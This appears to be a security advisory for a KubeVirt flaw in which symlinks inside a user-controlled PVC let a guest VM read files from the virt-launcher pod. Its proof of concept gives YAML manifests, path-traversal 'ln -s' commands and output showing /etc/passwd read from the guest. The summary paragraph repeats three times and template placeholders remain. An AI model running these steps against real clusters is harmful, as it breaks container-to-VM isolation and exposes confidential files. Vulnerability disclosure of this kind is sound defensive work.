KubeVirt Arbitrary Container File Read

KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, a vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the virt-launcher pod's file system. Since libvirt can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read. Although a security mechanism exists where VMs are executed as an unprivileged user with UID 107 inside the virt-launcher container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability. The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID 107 prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the virt-launcher pod's file system or on a mounted PVC from within the guest VM. This vulnerability is fixed in 1.5.3 and 1.6.1.

KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, a vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the virt-launcher pod's file system. Since libvirt can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read. Although a security mechanism exists where VMs are executed as an unprivileged user with UID 107 inside the virt-launcher container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability. The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID 107 prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the virt-launcher pod's file system or on a mounted PVC from within the guest VM. This vulnerability is fixed in 1.5.3 and 1.6.1.

KubeVirt is a virtual machine management add-on for Kubernetes. Prior to 1.5.3 and 1.6.1, a vulnerability was discovered that allows a VM to read arbitrary files from the virt-launcher pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the virt-launcher pod's file system. Since libvirt can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read. Although a security mechanism exists where VMs are executed as an unprivileged user with UID 107 inside the virt-launcher container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability. The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID 107 prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the virt-launcher pod's file system or on a mounted PVC from within the guest VM. This vulnerability is fixed in 1.5.3 and 1.6.1.

### Summary _Short summary of the problem. Make the impact and severity as clear as possible. Mounting a user-controlled PVC disk within a VM allows an attacker to read any file present in the `virt-launcher` pod. This is due to erroneous handling of symlinks defined within a PVC. ### Details _Give all details on the vulnerability. Pointing to the incriminated source code is very helpful for the maintainer._ A vulnerability was discovered that allows a VM to read arbitrary files from the `virt-launcher` pod's file system. This issue stems from improper symlink handling when mounting PVC disks into a VM. Specifically, if a malicious user has full or partial control over the contents of a PVC, they can create a symbolic link that points to a file within the `virt-launcher` pod's file system. Since `libvirt` can treat regular files as block devices, any file on the pod's file system that is symlinked in this way can be mounted into the VM and subsequently read. Although a security mechanism exists where VMs are executed as an unprivileged user with UID `107` inside the `virt-launcher` container, limiting the scope of accessible resources, this restriction is bypassed due to a second vulnerability (TODO: put link here). The latter causes the ownership of any file intended for mounting to be changed to the unprivileged user with UID `107` prior to mounting. As a result, an attacker can gain access to and read arbitrary files located within the `virt-launcher` pod's file system or on a mounted PVC from within the guest VM. ### PoC _Complete instructions, including specific configuration details, to reproduce the vulnerability._ Consider that an attacker has control over the contents of two PVC (e.g., from within a container) and creates the following symlinks: ```yaml # The YAML definition of two PVCs that the attacker has access to apiVersion: v1 kind: PersistentVolumeClaim metadata: name: pvc-arbitrary-container-read-1 spec: accessModes: - ReadWriteMany # suitable for migration (:= RWX) resources: requests: storage: 500Mi --- apiVersion: v1 kind: PersistentVolumeClaim metadata: name: pvc-arbitrary-container-read-2 spec: accessModes: - ReadWriteMany # suitable for migration (:= RWX) resources: requests: storage: 500Mi --- # The attacker-controlled container used to create the symlinks in the above PVCs apiVersion: v1 kind: Pod metadata: name: dual-pvc-pod spec: containers: - name: app-container image: alpine command: ["/some-vulnerable-app"] volumeMounts: - name: pvc-volume-one mountPath: /mnt/data1 - name: pvc-volume-two mountPath: /mnt/data2 volumes: - name: pvc-volume-one persistentVolumeClaim: claimName: pvc-arbitrary-container-read-1 - name: pvc-volume-two persistentVolumeClaim: claimName: pvc-arbitrary-container-read-2 ``` By default, Minikube's storage controller (`hostpath-provisioner`) will allocate the claim as a directory on the host node (`HostPath`). Once the above Kubernetes resources are created, the user can create the symlinks within the PVC as follows: ```bash # Using the `pvc-arbitrary-container-read-1` PVC we want to read the default XML configuration generated by `virt-launcher` for `libvirt`. Hence, the attacker has to create a symlink including the name of the future VM which will be created using this configuration. attacker@dual-pvc-pod:/mnt/data1 $ln -s ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml disk.img attacker@dual-pvc-pod:/mnt/data1 $ls -l lrwxrwxrwx 1 root root 85 May 19 22:24 disk.img -> ../../../../../../../../var/run/libvirt/qemu/run/default_arbitrary-container-read.xml # With the `pvc-arbitrary-container-read-2` we want to read the `/etc/passwd` of the `virt-launcher` container which will launch the future VM attacker@dual-pvc-pod:/mnt/data2 $ln -s ../../../../../../../../etc/passwd disk.img attacker@dual-pvc-pod:/mnt/data2 $ls -l lrwxrwxrwx 1 root root 34 May 19 22:26 disk.img -> ../../../../../../../../etc/passwd ``` Of course, these links could potentially be broken as the files, especially `default_arbitrary-container-read.xml`, could not exist on the `dual-pvc-pod` pod's file system. The attacker then deploy the following VM: ```yaml # arbitrary-container-read.yaml apiVersion: kubevirt.io/v1 kind: VirtualMachine metadata: name: arbitrary-container-read spec: runStrategy: Always template: metadata: labels: kubevirt.io/size: small kubevirt.io/domain: arbitrary-container-read spec: domain: devices: disks: - name: containerdisk disk: bus: virtio - name: pvc-1 disk: bus: virtio - name: pvc-2 disk: bus: virtio - name: cloudinitdisk disk: bus: virtio interfaces: - name: default masquerade: {} resources: requests: memory: 64M networks: - name: default pod: {} volumes: - name: containerdisk containerDisk: image: quay.io/kubevirt/cirros-container-disk-demo - name: pvc-1 persistentVolumeClaim: claimName: pvc-arbitrary-container-read-1 - name: pvc-2 persistentVolumeClaim: claimName: pvc-arbitrary-container-read-2 - name: cloudinitdisk cloudInitNoCloud: userDataBase64: SGkuXG4= ``` The two PVCs will be mounted as volumes in "filesystem" mode: From the [documentation](https://kubevirt.io/user-guide/storage/disks_and_volumes/#persistentvolumeclaim) of the different volume modes, one can infer that if the backing `disk.img` is not owned by the unprivileged user with UID `107`, the VM should fail to mount it. In addition, it's expected that this backing file is in [RAW format](https://www.qemu.org/docs/master/tools/qemu-img.html#notes). While this format can contain pretty much anything, we consider that being able to mount a file from the file system of `virt-launcher` is not the expected behaviour. Below is demonstrated that after applying the VM manifest, the guest can read the `/etc/passwd` and `default_migration.xml` files from the `virt-launcher` pod's file system: ```bash # Deploy the VM manifest operator@minikube:~$ kubectl apply -f arbitrary-container-read.yaml virtualmachine.kubevirt.io/arbitrary-container-read created # Observe the deployment status operator@minikube:~$ kubectl get vmis NAME AGE PHASE IP NODENAME READY arbitrary-container-read 80s Running 10.244.1.9 minikube-m02 True # Initiate a console connection to the running VM operator@minikube:~$ virtctl console arbitrary-container-read ``` ```bash # Within the `arbitrary-container-read` VM, inspect the available block devices root@arbitrary-container-read:~$ lsblk NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT vda 253:0 0 44M 0 disk |-vda1 253:1 0 35M 0 part / -vda15 253:15 0 8M 0 part vdb 253:16 0 20K 0 disk vdc 253:32 0 512B 0 disk vdd 253:48 0 1M 0 disk # Inspect the mounted /etc/passwd of the `virt-launcher` pod root@arbitrary-container-read:~$ cat /dev/vdc qemu:x:107:107:user:/home/qemu:/bin/bash root:x:0:0:root:/root:/bin/bash # Inspect the mounted `default_migration.xml` of the `virt-launcher` pod root@arbitrary-container-read:~$ cat /dev/vdb | head -n 20 <!-- WARNING: THIS IS AN AUTO-GENERATED FILE. CHANGES TO IT ARE LIKELY TO BE OVERWRITTEN AND LOST. Changes to this xml configuration should be made using: virsh edit default_arbitrary-container-read or other application using the libvirt API. --> <domstatus state='paused' reason='starting up' pid='80'> <monitor path='/var/run/kubevirt-private/libvirt/qemu/lib/domain-1-default_arbitrary-co/monitor.sock' type='unix'/> <vcpus> </vcpus> <qemuCaps> <flag name='hda-duplex'/> <flag name='piix3-usb-uhci'/> <flag name='piix4-usb-uhci'/> <flag name='usb-ehci'/> <flag name='ich9-usb-ehci1'/> <flag name='usb-redir'/> <flag name='usb-hub'/> <flag name='ich9-ahci'/> ``` ```bash operator@minikube:~$ kubectl get pods NAME READY STATUS RESTARTS AGE dual-pvc-pod 1/1 Running 0 20m virt-launcher-arbitrary-container-read-tn4mb 3/3 Running 0 15m # Inspect the contents of the `/etc/passwd` file of the `virt-launcher` pod attached to the VM operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- cat /etc/passwd qemu:x:107:107:user:/home/qemu:/bin/bash root:x:0:0:root:/root:/bin/bash # Inspect the ownership of the `/etc/passwd` file of the ` virt-launcher` pod operator@minikube:~$ kubectl exec -it virt-launcher-arbitrary-container-read-tn4mb -- ls -al /etc/passwd -rw-r--r--. 1 qemu qemu 73 Jan 1 1970 /etc/passwd ``` ### Impact _What kind of vulnerability is it? Who is impacted?_ This vulnerability breaches the container-to-VM isolation boundary, compromising the confidentiality of storage data.

KubeVirt Arbitrary Container File Read in kubevirt.io/kubevirt